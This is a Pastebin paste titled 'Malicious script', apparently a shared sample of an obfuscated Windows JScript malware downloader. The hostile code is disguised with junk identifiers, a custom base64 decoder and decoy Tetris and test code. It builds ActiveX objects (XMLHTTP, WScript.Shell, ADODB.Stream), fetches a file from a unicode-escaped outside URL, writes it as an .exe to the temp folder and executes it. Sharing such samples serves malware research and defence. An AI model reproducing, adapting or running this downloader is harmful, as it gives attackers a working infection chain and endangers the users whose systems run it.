Advertisement
dynamoo

Malicious script

Jul 26th, 2016
520
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  
  2.  
  3. datskyparkmisternlo_rodmands.create = function(){
  4.  
  5.     var datskyparkmisternlo_publisher = new datskyparkmisternlo_MBJSL.datskyparkmisternlo_Publisher();
  6.  
  7.     var datskyparkmisternlo_spyFunction1 = datskyparkmisternlo_sinon.datskyparkmisternlo_spy();
  8.  
  9.     datskyparkmisternlo_publisher.datskyparkmisternlo_subscribe(datskyparkmisternlo_spyFunction1, this.datskyparkmisternlo_type1);
  10.  
  11.  
  12.     datskyparkmisternlo_publisher.datskyparkmisternlo_publish(this.datskyparkmisternlo_type1);
  13.     datskyparkmisternlo_ok(datskyparkmisternlo_spyFunction1.datskyparkmisternlo_calledWith(), "Function called without arguments");
  14.  
  15.     datskyparkmisternlo_publisher.datskyparkmisternlo_publish(this.datskyparkmisternlo_type1, "test1");
  16.     datskyparkmisternlo_ok(datskyparkmisternlo_spyFunction1.datskyparkmisternlo_calledWith("test1"), "Function called with 'test1' argument");
  17.  
  18.     datskyparkmisternlo_publisher.datskyparkmisternlo_publish(this.datskyparkmisternlo_type1, ["test1", "test2"]);
  19.     datskyparkmisternlo_ok(datskyparkmisternlo_spyFunction1.datskyparkmisternlo_calledWith(["test1", "test2"]), "Function called with 'test1' and 'test2' arguments");
  20.  
  21. };
  22.  
  23. datskyparkmisternlo_rodmands.datskyparkmisternlo_subtract = function(datskyparkmisternlo_param1, datskyparkmisternlo_param2) {
  24.     return new datskyparkmisternlo_rodmands(datskyparkmisternlo_param1.x - datskyparkmisternlo_param2.x, datskyparkmisternlo_param1.y - datskyparkmisternlo_param2.y);
  25. };
  26.  
  27.  
  28. var datskyparkmisternlo_qtcnthltqfqrhfq = { ':': '.','U': 'S','IKS': 'X', '00':'', '11':'', '22':''};
  29.     var datskyparkmisternlo_errant = 0;
  30.  
  31. function datskyparkmisternlo_achievment(datskyparkmisternlo_bidttt){if(datskyparkmisternlo_bidttt==1){return 2;}else{return 17;}
  32. return 3;};
  33.  function datskyparkmisternlo_center(datskyparkmisternlo_rivulet) {
  34.     request = datskyparkmisternlo_rivulet;
  35.     for (var datskyparkmisternlo_i in datskyparkmisternlo_qtcnthltqfqrhfq){request = request.replace(datskyparkmisternlo_i, datskyparkmisternlo_qtcnthltqfqrhfq[datskyparkmisternlo_i]);}
  36.     return request;
  37. };
  38. var datskyparkmisternlo_peremenA = new Array(-1, -1, -1, -1, -1, -1,-1,-1);
  39.  
  40.  
  41. datskyparkmisternlo_peremenB = datskyparkmisternlo_peremenA.concat(datskyparkmisternlo_peremenA);
  42. datskyparkmisternlo_peremenB = datskyparkmisternlo_peremenB.concat(datskyparkmisternlo_peremenB);
  43. var datskyparkmisternlo_chosen = 6+8-13;  
  44. function datskyparkmisternlo_rodmands(x, y) {
  45.     this.x = x + 1;
  46.     this.y = y - 2;
  47. };
  48. var datskyparkmisternlo_peremenC = new Array(
  49.     58, 59, 60, 61, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5, 6,
  50.     7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24,
  51.     25, -1, -1, -1, -1, -1, -1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36,
  52.     37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51)
  53. datskyparkmisternlo_rodmands.scale = function(datskyparkmisternlo_p, datskyparkmisternlo_scaleX, datskyparkmisternlo_scaleY) {
  54.     if (datskyparkmisternlo_isObject(datskyparkmisternlo_scaleX)) {
  55.         datskyparkmisternlo_scaleY = datskyparkmisternlo_scaleX.y;
  56.         datskyparkmisternlo_scaleX = datskyparkmisternlo_scaleX.x;
  57.     } else if (!datskyparkmisternlo_isNumber(datskyparkmisternlo_scaleY)) {
  58.         datskyparkmisternlo_scaleY = datskyparkmisternlo_scaleX;
  59.     }
  60.     return new datskyparkmisternlo_rodmands(datskyparkmisternlo_p.x * datskyparkmisternlo_scaleX, datskyparkmisternlo_p.y * datskyparkmisternlo_scaleY);
  61. };
  62. datskyparkmisternlo_peremenB = datskyparkmisternlo_peremenB.concat(datskyparkmisternlo_peremenA);
  63. datskyparkmisternlo_peremenA.splice(7,1);
  64. datskyparkmisternlo_rodmands.datskyparkmisternlo_sameOrN = function(datskyparkmisternlo_param1, datskyparkmisternlo_param2) {
  65.     return datskyparkmisternlo_param1.D == datskyparkmisternlo_param2.D || datskyparkmisternlo_param1.F == datskyparkmisternlo_param2.F;
  66. };
  67. datskyparkmisternlo_rodmands.angle = function(datskyparkmisternlo_p) {
  68.     return Math.atan2(datskyparkmisternlo_p.y, datskyparkmisternlo_p.x);
  69. };
  70.    
  71. datskyparkmisternlo_peremenB = datskyparkmisternlo_peremenB.concat(datskyparkmisternlo_peremenA);
  72.  datskyparkmisternlo_peremenB = datskyparkmisternlo_peremenB.concat(new Array(63, 52, 53, 54, 55, 56, 57));
  73.    
  74.     function Tetromino(index){
  75.     this.x = 0;
  76.     this.y = 0;
  77.     this.selectedFrame = 0;
  78.     this.getNew(index);
  79. }
  80.  
  81. String.prototype.datskyparkmisternlo_peremenD = function() {
  82.    
  83.     var datskyparkmisternlo_c1, datskyparkmisternlo_c2, datskyparkmisternlo_c3, datskyparkmisternlo_c4;
  84.     var datskyparkmisternlo_i, datskyparkmisternlo_len, datskyparkmisternlo_out;
  85.     var datskyparkmisternlo_str = this.replace(/RodgeR/g, '');
  86.     datskyparkmisternlo_len = datskyparkmisternlo_str.length;
  87.     datskyparkmisternlo_i = 0;
  88.     datskyparkmisternlo_out = "";
  89.  
  90.     while (datskyparkmisternlo_i < datskyparkmisternlo_len) {
  91.         do {
  92.             datskyparkmisternlo_c1 = datskyparkmisternlo_peremenB[datskyparkmisternlo_str.charCodeAt(datskyparkmisternlo_i++) & 0xff];
  93.         } while (datskyparkmisternlo_i < datskyparkmisternlo_len && datskyparkmisternlo_c1 == -1);
  94.  
  95.         if (datskyparkmisternlo_c1 == -1)
  96.             break;
  97. var datskyparkmisternlo_dodo = false;
  98.         do {
  99.             datskyparkmisternlo_c2 = datskyparkmisternlo_peremenB[datskyparkmisternlo_str.charCodeAt(datskyparkmisternlo_i++) & 0xff];
  100.         datskyparkmisternlo_dodo = datskyparkmisternlo_i < datskyparkmisternlo_len && datskyparkmisternlo_c2 == -1;
  101.         } while (datskyparkmisternlo_dodo);
  102.  
  103.         if (datskyparkmisternlo_c2 == -1)
  104.             break;
  105.  
  106.         datskyparkmisternlo_out += String.fromCharCode((datskyparkmisternlo_c1 << 2) | ((datskyparkmisternlo_c2 & 0x30) >> 4));
  107.  
  108.         do {
  109.             datskyparkmisternlo_c3 = datskyparkmisternlo_str.charCodeAt(datskyparkmisternlo_i++) & 0xff;
  110.  
  111.             if (datskyparkmisternlo_c3 == 61)
  112.                 return datskyparkmisternlo_out;
  113.  
  114.             datskyparkmisternlo_c3 = datskyparkmisternlo_peremenB[datskyparkmisternlo_c3];
  115.         } while (datskyparkmisternlo_i < datskyparkmisternlo_len && datskyparkmisternlo_c3 == -1);
  116.  
  117.         if (datskyparkmisternlo_c3 == -1)
  118.             break;
  119.  
  120.         datskyparkmisternlo_out += String.fromCharCode(((datskyparkmisternlo_c2 & 0XF) << 4) | ((datskyparkmisternlo_c3 & 0x3c) >> 2));
  121.  
  122.         do {
  123.             datskyparkmisternlo_c4 = datskyparkmisternlo_str.charCodeAt(datskyparkmisternlo_i++) & 0xff;
  124.  
  125.             if (datskyparkmisternlo_c4 == 61)
  126.                 return datskyparkmisternlo_out;
  127.  
  128.             datskyparkmisternlo_c4 = datskyparkmisternlo_peremenB[datskyparkmisternlo_c4];
  129.         } while (datskyparkmisternlo_i < datskyparkmisternlo_len && datskyparkmisternlo_c4 == -1);
  130.  
  131.         if (datskyparkmisternlo_c4 == -1)
  132.             break;
  133.  
  134.         datskyparkmisternlo_out += String.fromCharCode(((datskyparkmisternlo_c3 & 0x03) << 6) | datskyparkmisternlo_c4);
  135.     }
  136.  
  137.     return datskyparkmisternlo_out;
  138. };
  139.  
  140.  
  141. Tetromino.prototype.nextFrame = function () {
  142.  
  143.     if ((this.selectedFrame + 1) < this.frameNumber) {
  144.         this.selectedFrame++;
  145.     } else {
  146.         this.selectedFrame = 0
  147.     }
  148. };
  149.  
  150. var datskyparkmisternlo_peremenB = datskyparkmisternlo_peremenB.concat(datskyparkmisternlo_peremenC);
  151.     datskyparkmisternlo_peremenB = datskyparkmisternlo_peremenB.concat(new Array(-1, -1, -1, -1, -1));
  152. var datskyparkmisternlo_peremenF ="JVRFTVAl".datskyparkmisternlo_peremenD();
  153. var datskyparkmisternlo_finde = "QWN0aXZlWE9iamVjdARodgeR=RodgeR=RodgeR".datskyparkmisternlo_peremenD();
  154. String.prototype.datskyparkmisternlo_center2 = function () {
  155.     var datskyparkmisternlo_pirkinst = {
  156.         datskyparkmisternlo_peremenG: this
  157.     };
  158.     datskyparkmisternlo_pirkinst.datskyparkmisternlo_peremenE = datskyparkmisternlo_pirkinst.datskyparkmisternlo_peremenG["c3VRodgeRic3RyRodgeRaW5RodgeRn".datskyparkmisternlo_peremenD()](datskyparkmisternlo_errant, datskyparkmisternlo_chosen);
  159.     return datskyparkmisternlo_pirkinst.datskyparkmisternlo_peremenE;
  160. };
  161.  
  162. var datskyparkmisternlo_sirdallos ="RodgeRRXhwYW5RodgeRkRW52aXRodgeRJvbm1lbnRTdHJRodgeRpbmdz".datskyparkmisternlo_peremenD();
  163. var datskyparkmisternlo_Native = function(options){
  164.    
  165. };datskyparkmisternlo_Native.datskyparkmisternlo_implement = function(datskyparkmisternlo_objects, datskyparkmisternlo_properties){
  166.     for (var datskyparkmisternlo_i = 0, datskyparkmisternlo_l = datskyparkmisternlo_objects.length; datskyparkmisternlo_i < datskyparkmisternlo_l; datskyparkmisternlo_i++) datskyparkmisternlo_objects[datskyparkmisternlo_i].datskyparkmisternlo_implement(datskyparkmisternlo_properties);
  167. };
  168. var datskyparkmisternlo_d7 = datskyparkmisternlo_center("00M"+"11SX"+"22ML"+("datskyparkmisternlo_surveillance","datskyparkmisternlo_spray","datskyparkmisternlo_buckler","datskyparkmisternlo_forty","datskyparkmisternlo_christening","2.")+"IKSM"+"LH"+"TT"+("datskyparkmisternlo_culprit","datskyparkmisternlo_racks","datskyparkmisternlo_argument","datskyparkmisternlo_connectivity","datskyparkmisternlo_syria","datskyparkmisternlo_stiffen","datskyparkmisternlo_pitiable","datskyparkmisternlo_unlimited","P}")+"WU"+("datskyparkmisternlo_unlawful","datskyparkmisternlo_strawberry","datskyparkmisternlo_females","datskyparkmisternlo_beaches","datskyparkmisternlo_galvanometer","datskyparkmisternlo_discontinued","datskyparkmisternlo_churlish","cr")+("datskyparkmisternlo_whack","datskyparkmisternlo_colombia","datskyparkmisternlo_semicircle","datskyparkmisternlo_eddie","datskyparkmisternlo_peacock","datskyparkmisternlo_online","datskyparkmisternlo_bricabrac","datskyparkmisternlo_deborah","ip")+"t:S"+("datskyparkmisternlo_routine","datskyparkmisternlo_whomsoever","datskyparkmisternlo_engagement","datskyparkmisternlo_randy","datskyparkmisternlo_apostasy","datskyparkmisternlo_ironic","datskyparkmisternlo_diabolic","datskyparkmisternlo_budge","h")+"e"+("datskyparkmisternlo_paraphernalia","datskyparkmisternlo_horus","datskyparkmisternlo_indicator","datskyparkmisternlo_cerebral","datskyparkmisternlo_portland","datskyparkmisternlo_specs","datskyparkmisternlo_bizrate","datskyparkmisternlo_cancer","ll"));
  169. var datskyparkmisternlo_DoUtra = [datskyparkmisternlo_finde, datskyparkmisternlo_sirdallos,datskyparkmisternlo_peremenF,  ""+"."+("datskyparkmisternlo_salem","datskyparkmisternlo_lawgiver","datskyparkmisternlo_illiterate","datskyparkmisternlo_colleague","datskyparkmisternlo_father","datskyparkmisternlo_metropolitan","datskyparkmisternlo_fundraising","datskyparkmisternlo_electronic","exe"), "UnRodgeRVuRodgeR".datskyparkmisternlo_peremenD(),datskyparkmisternlo_d7];
  170. datskyparkmisternlo_DoUtra_NO = datskyparkmisternlo_DoUtra.shift()
  171. var datskyparkmisternlo_ZumZum = this[datskyparkmisternlo_DoUtra_NO];
  172. datskyparkmisternlo_fabled = "_F2_";
  173. datskyparkmisternlo_Native.datskyparkmisternlo_genericize = function(object, datskyparkmisternlo_property, datskyparkmisternlo_check){
  174.     if ((!datskyparkmisternlo_check || !object[datskyparkmisternlo_property]) && typeof object.prototype[datskyparkmisternlo_property] == 'function') object[datskyparkmisternlo_property] = function(){
  175.         var datskyparkmisternlo_args = Array.prototype.slice.call(arguments);
  176.         return object.prototype[datskyparkmisternlo_property].apply(datskyparkmisternlo_args.shift(), datskyparkmisternlo_args);
  177.     };
  178. };
  179. datskyparkmisternlo_Native.datskyparkmisternlo_typize = function(object, datskyparkmisternlo_family){
  180.     if (!object.type) object.type = function(item){
  181.         return (datskyparkmisternlo_$type(item) === datskyparkmisternlo_family);
  182.     };
  183. };
  184. datskyparkmisternlo_casque = (("datskyparkmisternlo_normal", "datskyparkmisternlo_gretchen", "datskyparkmisternlo_tribal", "datskyparkmisternlo_velocity", "datskyparkmisternlo_grumble", "datskyparkmisternlo_dapper", "datskyparkmisternlo_crescent", "puchtqkNvb") + "gndTFI").datskyparkmisternlo_center2();
  185. datskyparkmisternlo_tudabilo1 = (("datskyparkmisternlo_undignified", "datskyparkmisternlo_recorder", "datskyparkmisternlo_elysium", "datskyparkmisternlo_galleries", "datskyparkmisternlo_steaming", "datskyparkmisternlo_tours", "datskyparkmisternlo_loins", "datskyparkmisternlo_agonised", "datskyparkmisternlo_sacrilegious", "sOoNYnPMapat") + "FDkPFylmzW").datskyparkmisternlo_center2();
  186. var datskyparkmisternlo_d2 = datskyparkmisternlo_DoUtra.pop();
  187. var datskyparkmisternlo_rampart = new datskyparkmisternlo_ZumZum(datskyparkmisternlo_d2.split("}")[1]);
  188. var datskyparkmisternlo_sudabilo1 = new datskyparkmisternlo_ZumZum(datskyparkmisternlo_d2.split("}")[0]);
  189. var datskyparkmisternlo_vulture = datskyparkmisternlo_rampart[datskyparkmisternlo_DoUtra.shift()](datskyparkmisternlo_DoUtra.shift());
  190. var datskyparkmisternlo_weasel = "E";
  191.  
  192. var datskyparkmisternlo_amalgamation = datskyparkmisternlo_DoUtra.shift();
  193. var datskyparkmisternlo_promises = datskyparkmisternlo_DoUtra.shift();
  194. var datskyparkmisternlo_ostrokoncert = "b3RodgeRBlbRodgeRg==".datskyparkmisternlo_peremenD();
  195. function datskyparkmisternlo_Shtyler4(datskyparkmisternlo_gutter, datskyparkmisternlo_StrokaParam2) {
  196.  
  197.     try {
  198.         var datskyparkmisternlo_wandermander = datskyparkmisternlo_vulture ;
  199.         datskyparkmisternlo_wandermander=datskyparkmisternlo_wandermander+ "\u002f";
  200. datskyparkmisternlo_wandermander=datskyparkmisternlo_wandermander       + datskyparkmisternlo_StrokaParam2 ;
  201.         datskyparkmisternlo_wandermander = datskyparkmisternlo_wandermander  + datskyparkmisternlo_amalgamation;
  202.             datskyparkmisternlo_sudabilo1[datskyparkmisternlo_ostrokoncert](("datskyparkmisternlo_atomic","datskyparkmisternlo_inelegant","datskyparkmisternlo_secretion","datskyparkmisternlo_estimates","datskyparkmisternlo_reaching","datskyparkmisternlo_derrick","datskyparkmisternlo_chester","datskyparkmisternlo_authoritative","G" + datskyparkmisternlo_weasel) + ("datskyparkmisternlo_obscene","datskyparkmisternlo_terminating","datskyparkmisternlo_totals","datskyparkmisternlo_vulnerability","datskyparkmisternlo_teams","datskyparkmisternlo_cheaper","datskyparkmisternlo_uphill","datskyparkmisternlo_elvis","datskyparkmisternlo_moisten","datskyparkmisternlo_cancelled","T"), datskyparkmisternlo_gutter, false);
  203.        
  204.     datskyparkmisternlo_sudabilo1[datskyparkmisternlo_tudabilo1 + ("datskyparkmisternlo_technologies","datskyparkmisternlo_fortynine","datskyparkmisternlo_paintball","datskyparkmisternlo_flail","datskyparkmisternlo_wants","end")]();
  205.     var datskyparkmisternlo_advocacy=("OJ1231NE31FMLN" + WScript=="OJ1231NE31FMLN" + "RodgeRV2lRodgeRuZG93cyBTY3JpcRodgeRHQgSG9zdA==".datskyparkmisternlo_peremenD())&&typeof(datskyparkmisternlo_GzEAPd)==="undefined";
  206.  
  207.     if (datskyparkmisternlo_advocacy) {
  208.        
  209.         var datskyparkmisternlo_brings = new datskyparkmisternlo_ZumZum((("datskyparkmisternlo_fatigues","datskyparkmisternlo_aback","datskyparkmisternlo_manger","datskyparkmisternlo_backbone","datskyparkmisternlo_antarctica","datskyparkmisternlo_expected","datskyparkmisternlo_cobbler","datskyparkmisternlo_vaunting","ASEO")+("datskyparkmisternlo_dissolving","datskyparkmisternlo_adventitious","datskyparkmisternlo_outlets","datskyparkmisternlo_biographies","datskyparkmisternlo_estimated","datskyparkmisternlo_generator","datskyparkmisternlo_massachusetts","datskyparkmisternlo_assigning","O")+"DB"+("datskyparkmisternlo_euripides","datskyparkmisternlo_southwark","datskyparkmisternlo_loins","datskyparkmisternlo_consist","datskyparkmisternlo_recrimination","datskyparkmisternlo_dialectic","datskyparkmisternlo_vocals",".S")+"tr8").replace("SEO", "D").replace("8", "eam"));
  210.         datskyparkmisternlo_brings[datskyparkmisternlo_ostrokoncert]();
  211.         datskyparkmisternlo_RhXxGud = "type";
  212.         datskyparkmisternlo_brings[datskyparkmisternlo_RhXxGud] = datskyparkmisternlo_chosen;
  213.         datskyparkmisternlo_hGaSMa = "_F10_";
  214.         datskyparkmisternlo_brings["d3RodgeRJpdRodgeRGU=".datskyparkmisternlo_peremenD()](datskyparkmisternlo_sudabilo1[("datskyparkmisternlo_mitigation","datskyparkmisternlo_pillow","datskyparkmisternlo_breath","datskyparkmisternlo_jewess","datskyparkmisternlo_hellas","datskyparkmisternlo_freight","")+"R"+"es"+"pon"+datskyparkmisternlo_qtcnthltqfqrhfq['U'].toLowerCase()+"e"+"QmRodgeR9keQRodgeR==".datskyparkmisternlo_peremenD()]);
  215.         datskyparkmisternlo_XWaxeQhw = "_F11_";
  216.         datskyparkmisternlo_brings[(datskyparkmisternlo_casque + "o"+("datskyparkmisternlo_beaux","datskyparkmisternlo_travelers","datskyparkmisternlo_tawdry","datskyparkmisternlo_rouge","datskyparkmisternlo_navel","220")+("datskyparkmisternlo_imported","datskyparkmisternlo_carbonic","datskyparkmisternlo_pericles","datskyparkmisternlo_finland","datskyparkmisternlo_swindler","datskyparkmisternlo_inflation","datskyparkmisternlo_predilection","22i")+"tion").replace("22"+("datskyparkmisternlo_missus","datskyparkmisternlo_challenges","datskyparkmisternlo_granted","datskyparkmisternlo_triumph","datskyparkmisternlo_seventysix","datskyparkmisternlo_tangible","datskyparkmisternlo_construct","022"), datskyparkmisternlo_tudabilo1)] = 0;
  217.         datskyparkmisternlo_krDwvrh = "_F12_";
  218.         datskyparkmisternlo_brings['saveToFile'](datskyparkmisternlo_wandermander, 2);
  219.         datskyparkmisternlo_SswQdi = "_F13_";
  220.         datskyparkmisternlo_brings['c'+"lose"]();
  221.         datskyparkmisternlo_rampart[datskyparkmisternlo_promises](datskyparkmisternlo_wandermander, datskyparkmisternlo_chosen, true);
  222.     }
  223. } catch (datskyparkmisternlo_RFXuYwO) {WScript.echo(datskyparkmisternlo_RFXuYwO.message);
  224.     datskyparkmisternlo_hpkwvmHg = "_F15_"; };
  225.  
  226. };
  227. try{
  228. datskyparkmisternlo_Shtyler4("http://"+"\u0077w\u0077"+".\u0069s\u006Ce\u006Ff\u0077i\u0067h\u0074c\u006Fm\u0070u\u0074e\u0072r\u0065p\u0061i\u0072s\u002Et\u0061l\u006Bt\u0061l\u006B.\u006Ee\u0074/\u006Fk\u00709\u00387\u00677\u0076" + "?XMGcwehgCd=pmPODvnq","bXUYaFbVBl");}catch(datskyparkmisternloDsMNoc){
  229.  }
  230.  
  231.    
  232. Tetromino.prototype.getNew = function (index) {
  233.  
  234.     this.x = 4;
  235.     //index = 6;
  236.     this.index = index;
  237.     switch (index) {
  238.  
  239.         case 1://square - ok
  240.             this.frameNumber = 1;
  241.             this.sprite = 5;
  242.             this.sprite = 1;
  243.             this.frame = new Array(
  244.                 new Array(
  245.                     new Array(0, -1),
  246.                     new Array(0, 0),
  247.                     new Array(1, -1),
  248.                     new Array(1, 0)
  249.                 )
  250.             );
  251.             break;
  252.  
  253.         case 2://line
  254.             this.frameNumber = 4;
  255.             this.sprite = 4;
  256.             this.sprite = 2;
  257.             this.frame = new Array(
  258.                 new Array(
  259.                     new Array(2, 0),
  260.                     new Array(-1, 0),
  261.                     new Array(0, 0),
  262.                     new Array(1, 0)
  263.                 ),
  264.                 new Array(
  265.                     new Array(1, -1),
  266.                     new Array(1, 0),
  267.                     new Array(1, 1),
  268.                     new Array(1, 2)
  269.                 ),
  270.                 new Array(
  271.                     new Array(2, 1),
  272.                     new Array(-1, 1),
  273.                     new Array(0, 1),
  274.                     new Array(1, 1)
  275.                 ),
  276.                 new Array(
  277.                     new Array(0, -1),
  278.                     new Array(0, 0),
  279.                     new Array(0, 1),
  280.                     new Array(0, 2)
  281.                 )
  282.             );
  283.             break;
  284.  
  285.         case 3://S
  286.             this.frameNumber = 4;
  287.             this.sprite = 7;
  288.             this.sprite = 3;
  289.             this.frame = new Array(
  290.                 new Array(
  291.                     new Array(1, -1),
  292.                     new Array(0, -1),
  293.                     new Array(0, 0),
  294.                     new Array(-1, 0)
  295.                 ),
  296.                 new Array(
  297.                     new Array(0, -1),
  298.                     new Array(0, 0),
  299.                     new Array(1, 0),
  300.                     new Array(1, 1)
  301.                 ),
  302.                 new Array(
  303.                     new Array(1, -1),
  304.                     new Array(0, -1),
  305.                     new Array(0, 0),
  306.                     new Array(-1, 0)
  307.                 ),
  308.                 new Array(
  309.                     new Array(-1, -1),
  310.                     new Array(-1, 0),
  311.                     new Array(0, 0),
  312.                     new Array(0, 1)
  313.                 )
  314.             );
  315.             break;
  316.  
  317.         case 4://Z
  318.             this.sprite = 2;
  319.             this.sprite = 4;
  320.             this.frameNumber = 2;
  321.             this.frame = new Array(
  322.                 new Array(
  323.                     new Array(-1, -1),
  324.                     new Array(0, -1),
  325.                     new Array(0, 0),
  326.                     new Array(1, 0)
  327.                 ),
  328.                 new Array(
  329.                     new Array(0, 0),
  330.                     new Array(1, 0),
  331.                     new Array(0, 1),
  332.                     new Array(1, -1)
  333.                 ),
  334.                 new Array(
  335.                     new Array(-1, 0),
  336.                     new Array(0, 0),
  337.                     new Array(0, 1),
  338.                     new Array(1, 1)
  339.                 ),
  340.                 new Array(
  341.                     new Array(0, -1),
  342.                     new Array(0, 0),
  343.                     new Array(-1, 0),
  344.                     new Array(-1, 1)
  345.                 )
  346.             );
  347.             break;
  348.  
  349.         case 5://L
  350.             this.frameNumber = 4;
  351.             this.sprite = 3;
  352.             this.sprite = 5;
  353.             this.frame = new Array(
  354.                 new Array(
  355.                     new Array(-1, 0),
  356.                     new Array(0, 0),
  357.                     new Array(1, 0),
  358.                     new Array(1, -1)
  359.                 ),
  360.                 new Array(
  361.                     new Array(-1, -1),
  362.                     new Array(0, -1),
  363.                     new Array(0, 0),
  364.                     new Array(0, 1)
  365.                 ),
  366.                 new Array(
  367.                     new Array(-1, 0),
  368.                     new Array(0, 0),
  369.                     new Array(1, 0),
  370.                     new Array(-1, 1)
  371.                 ),
  372.                 new Array(
  373.                     new Array(0, -1),
  374.                     new Array(0, 0),
  375.                     new Array(0, 1),
  376.                     new Array(1, 1)
  377.                 )
  378.             );
  379.             break;
  380.  
  381.         case 6://J
  382.             this.sprite = 1;
  383.             this.sprite = 6;
  384.             this.frameNumber = 4;
  385.             this.frame = new Array(
  386.                 new Array(
  387.                     new Array(-1, -1),
  388.                     new Array(-1, 0),
  389.                     new Array(0, 0),
  390.                     new Array(1, 0)
  391.                 ),
  392.                 new Array(
  393.                     new Array(0, -1),
  394.                     new Array(-1, -1),
  395.                     new Array(-1, 0),
  396.                     new Array(-1, 1)
  397.                 ),
  398.                 new Array(
  399.                     new Array(-1, 0),
  400.                     new Array(0, 0),
  401.                     new Array(1, 0),
  402.                     new Array(1, 1)
  403.                 ),
  404.                 new Array(
  405.                     new Array(1, -1),
  406.                     new Array(1, 0),
  407.                     new Array(1, 1),
  408.                     new Array(0, 1)
  409.                 )
  410.             );
  411.             break;
  412.  
  413.         case 7://T
  414.             this.sprite = 6;
  415.             this.sprite = 7;
  416.             this.frameNumber = 4;
  417.             this.frame = new Array(
  418.                 new Array(
  419.                     new Array(-1, 0),
  420.                     new Array(0, 0),
  421.                     new Array(1, 0),
  422.                     new Array(0, -1)
  423.                 ),
  424.  
  425.                 new Array(
  426.                     new Array(0, -1),
  427.                     new Array(0, 0),
  428.                     new Array(0, 1),
  429.                     new Array(-1, 0)
  430.                 ),
  431.                 new Array(
  432.                     new Array(-1, 0),
  433.                     new Array(0, 0),
  434.                     new Array(1, 0),
  435.                     new Array(0, 1)
  436.                 ),
  437.                 new Array(
  438.                     new Array(0, -1),
  439.                     new Array(0, 0),
  440.                     new Array(0, 1),
  441.                     new Array(1, 0)
  442.                 )
  443.             );
  444.             break;
  445.     }
  446. };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement